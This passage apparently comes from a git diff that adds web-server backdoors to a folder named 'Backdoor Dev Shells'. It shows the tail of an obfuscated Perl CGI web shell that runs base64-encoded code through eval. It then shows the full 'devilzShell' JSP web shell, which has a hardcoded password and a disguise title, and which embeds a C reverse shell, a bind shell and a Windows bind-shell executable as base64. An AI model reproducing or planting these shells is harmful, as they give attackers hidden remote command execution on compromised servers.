JkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGb2xkZXJuYW1lPC90ZD48dGQgc3R5bGU9XCJ3aWR0aDozMDRweDtcIj4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjMwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZvbGRlcm5hbWVcIiB2YWx1ZT1cIm5ld2ZvbGRlclwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmb2xkZXJcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiaGlkZGVuXCIgaWQ9XCJuZXdmaWxlXCI+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwiZ2V0XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBGaWxlbmFtZTwvdGQ+PHRkIHN0eWxlPVwid2lkdGg6MzA0cHg7XCI+DQo8aW5wdXQgc3R5bGU9XCJ3aWR0aDozMDBweDtcIiB0eXBlPVwidGV4dFwiIG5hbWU9XCJmaWxlbmFtZVwiIHZhbHVlPVwibmV3ZmlsZVwiIC8+DQo8L3RkPjx0ZD4NCjxpbnB1dCBzdHlsZT1cIndpZHRoOjEwMHB4O1wiIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0blwiIG5hbWU9XCJidG5OZXdmaWxlXCIgdmFsdWU9XCJDcmVhdGVcIiAvPg0KPC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwibmV3dXBsb2FkXCI+DQo8Zm9ybSBtZXRob2Q9XCJwb3N0XCIgYWN0aW9uPVwiP2Rpcj0iLiR4Q3dkLiJcIiBlbmN0eXBlPVwibXVsdGlwYXJ0L2Zvcm0tZGF0YVwiIHN0eWxlPVwiZGlzcGxheTppbmxpbmU7bWFyZ2luOjA7cGFkZGluZzowO1wiPg0KPHRhYmxlIGNsYXNzPVwidGJsQm94XCIgc3R5bGU9XCJ3aWR0aDo1NjBweDtcIj4NCjx0cj48dGQgc3R5bGU9XCJ3aWR0aDoxMjBweDtcIj5TYXZlIGFzPC90ZD48dGQ+PGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiZmlsZW5hbWVcIiB2YWx1ZT1cIlwiIC8+PC90ZD48L3RyPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPkZyb20gQ29tcHV0ZXI8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cImZpbGVcIiBuYW1lPVwiZmlsZWxvY2FsXCIgLz4NCjwvdGQ+PHRkPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bk5ld1VwbG9hZExvY2FsXCIgdmFsdWU9XCJHZXRcIiAvPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cImhpZGRlblwiIGlkPVwiZGl2X2V2YWxcIj4NCjxmb3JtIG1ldGhvZD1cImdldFwiIGFjdGlvbj1cIj9cIiBzdHlsZT1cImRpc3BsYXk6aW5saW5lO21hcmdpbjowO3BhZGRpbmc6MDtcIj4NCjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cImRpclwiIHZhbHVlPVwiIi4keEN3ZC4iXCIgLz4NCjx0YWJsZSBjbGFzcz1cInRibEJveFwiIHN0eWxlPVwid2lkdGg6NTYwcHg7XCI+DQo8dHI+PHRkPg0KPHRleHRhcmVhIG5hbWU9XCJldmFsXCIgc3R5bGU9XCJ3aWR0aDoxMDAlO2hlaWdodDoxMDBweDtcIj4iLiRjbWRldmFsLiI8L3RleHRhcmVhPg0KPC90ZD48L3RyPjx0cj4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246cmlnaHQ7XCI+PGlucHV0IHN0eWxlPVwid2lkdGg6MTAwcHg7XCIgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCIgbmFtZT1cImJ0bkV2YWxcIiB2YWx1ZT1cIkV2YWxcIiAvPjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8L2Rpdj4NCjxkaXYgY2xhc3M9XCJoaWRkZW5cIiBpZD1cIm5ld2NoaWxkXCI+DQo8Zm9ybSBtZXRob2Q9XCJnZXRcIiBhY3Rpb249XCI/XCIgc3R5bGU9XCJkaXNwbGF5OmlubGluZTttYXJnaW46MDtwYWRkaW5nOjA7XCI+DQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJkaXJcIiB2YWx1ZT1cIiIuJHhDd2QuIlwiIC8+DQo8dGFibGUgY2xhc3M9XCJ0YmxCb3hcIiBzdHlsZT1cIndpZHRoOjU2MHB4O1wiPg0KPHRyPjx0ZCBzdHlsZT1cIndpZHRoOjEyMHB4O1wiPk5ldyBTaGVsbG5hbWU8L3RkPjx0ZCBzdHlsZT1cIndpZHRoOjMwNHB4O1wiPg0KPGlucHV0IHN0eWxlPVwid2lkdGg6MzAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwiY2hpbGRuYW1lXCIgdmFsdWU9XCIiLiRzaGVsbF9uYW1lLiIuY2dpXCI7IC8+DQo8L3RkPjx0ZD48aW5wdXQgc3R5bGU9XCJ3aWR0aDoxMDBweDtcIiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuTmV3Y2hpbGRcIiB2YWx1ZT1cIkNyZWF0ZVwiIC8+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9kaXY+DQo8ZGl2IGNsYXNzPVwiYm90dG9td3JhcHBlclwiPg0KPGRpdiBjbGFzcz1cImNtZGJveFwiPg0KPGZvcm0gYWN0aW9uPVwiP1wiIG1ldGhvZD1cImdldFwiPg0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiZGlyXCIgdmFsdWU9XCIiLiR4Q3dkLiJcIiAvPg0KPHRhYmxlIHN0eWxlPVwid2lkdGg6MTAwJTtcIj48dHI+DQo8dGQgc3R5bGU9XCJ3aWR0aDo4OCU7XCI+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgaWQ9XCJjbWRcIiBuYW1lPVwiY21kXCIgdmFsdWU9XCJcIiBzdHlsZT1cIndpZHRoOjEwMCU7XCIgLz48L3RkPg0KPHRkIHN0eWxlPVwid2lkdGg6MTAlO1wiPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIiBuYW1lPVwiYnRuQ29tbWFuZFwiIHN0eWxlPVwid2lkdGg6MTIwcHg7XCIgdmFsdWU9XCJFeGVjdXRlXCIgLz48L3RkPjwvdHI+PC90YWJsZT4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBjbGFzcz1cInJlc3VsdFwiIGlkPVwicmVzdWx0XCI+DQoiLiRyZXN1bHQuIg0KPC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+DQoiOw0KfQ0KZWxzZSB7DQoJJGh0bWxfdGl0bGUgPSAkc2hlbGxfZmFrZV9uYW1lOw0KCSRodG1sX2hlYWQgPSAiPHRpdGxlPiIuJGh0bWxfdGl0bGUuIjwvdGl0bGU+Ii4kc2hlbGxfc3R5bGU7DQoJJGh0bWxfYm9keSA9ICINCjxkaXYgc3R5bGU9XCJtYXJnaW46MzBweDtcIj4NCjxkaXY+DQo8Zm9ybSBhY3Rpb249XCI/XCIgbWV0aG9kPVwicG9zdFwiPg0KPGlucHV0IGlkPVwiY21kXCIgdHlwZT1cInRleHRcIiBuYW1lPVwicGFzc3dcIiB2YWx1ZT1cIlwiIC8+DQo8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJidG5wYXNzd2RcIiB2YWx1ZT1cIk9rXCIgLz4NCjwvZm9ybT4NCjwvZGl2Pg0KPGRpdiBzdHlsZT1cImZvbnQtc2l6ZToxMHB4O1wiPiIuJHNoZWxsX2Zha2VfbmFtZS4iPC9kaXY+DQo8L2Rpdj4NCiI7DQp9DQppZihkZWZpbmVkKCRfVkFSeydjbWQnfSkgfHwgZGVmaW5lZCgkX1ZBUnsncGFzc3cnfSkpIHsgJGh0bWxfb25sb2FkID0gIm9ubG9hZD1cImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygpO1wiIjsgfQ0KZWxzZSB7ICRodG1sX29ubG9hZCA9ICIiOyB9DQokaHRtbF9maW5hbCA9ICINCjxodG1sPg0KPGhlYWQ+DQoiLiRodG1sX2hlYWQuIg0KPC9oZWFkPg0KPGJvZHkgIi4kaHRtbF9vbmxvYWQuIj4NCjxkaXYgaWQ9XCJtYWlud3JhcHBlclwiPg0KIi4kaHRtbF9ib2R5LiINCjwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPiI7DQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCiRodG1sX2ZpbmFsID1+IHMvXHMrLyAvZzsNCnByaW50ICRodG1sX2ZpbmFsOw==";$base64_alphabet='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';$base64_pad='=';$uuencode_alphabet = q|`!"#$%&'()*+,-./0123456789:;<=>?|.'@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_';$uuencode_pad='`';$tr_uuencode=" ".$uuencode_alphabet;$tr_uuencode=~s/(\W)/\\$1/g;$tr_base64="A".$base64_alphabet;$tr_base64=~s/(\W)/\\$1/g;sub b64decode{local($_)=@_;local($result);eval qq{tr|$tr_base64||cd;tr|$tr_base64|$tr_uuencode|;};while(s/^(.{60})//){$result.=unpack("u", "M".$&);}if($_ ne ""){$result.=unpack("u",substr($uuencode_alphabet, length($_)*3/4,1).$_);}return $result;}sub b64encode{local ($_) = @_;local ($chunk);local ($result);while (s/^((.|\n){45})//){$chunk = substr(pack("u", $&), $[+1, 60);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk."\n";}if($_ ne ""){$chunk=substr(pack("u", $_),$[+1,int((length($_)+2)/3)*4-(45-length($_))%3);eval qq{ \$chunk =~ tr|$tr_uuencode|$tr_base64|;};$result.=$chunk.($base64_pad x ((60-length($chunk))%4))."\n";}$result;}eval(b64decode($shell_code)); \ No newline at end of file diff --git a/Backdoor Dev Shells/devshell.jsp b/Backdoor Dev Shells/devshell.jsp new file mode 100644 index 0000000..7a21fdd --- /dev/null +++ b/Backdoor Dev Shells/devshell.jsp @@ -0,0 +1,1319 @@ +<%@ page contentType="text/html"%><%@ page import="java.io.*,java.util.*,java.net.*,java.text.*,sun.misc.*,java.security.*,java.lang.*,java.lang.String" %><% +// +// devilzShell <[jsp]> +// ^^^^^^^^^^^^ +// author: b374k +// greets: devilzc0der(s) and all of you who love peace and freedom +// +// +// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ +// Jayalah Indonesiaku + + +//################ VARIABLES GOES HERE #######################=============================================] +String shell_name = "devilzShell"; +String shell_fake_name = "Server Logging System"; +String shell_title = " :: " + shell_name + " ::"; +String shell_version = "v1"; +String shell_password = "devilzc0der"; +String shell_fav_port = "12345"; +String shell_color = "#374374"; + +// server software +String xSoftware = application.getServerInfo().trim(); +// uname -a +String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch"); +// server ip +InetAddress inetAddress = InetAddress.getLocalHost(); +String xServerIP = inetAddress.getHostAddress(); +// your ip ;-) +String xClientIP = request.getRemoteAddr(); + +String xHeader = xSoftware + "
" + xSystem + "
Server IP: [ " + xServerIP + " ]   Your IP: [ " + xClientIP + " ]"; + +//################# RESOURCES GOES HERE #######################=============================================] +String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; +String bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; +String xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; +String xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ=="; +String wBind = "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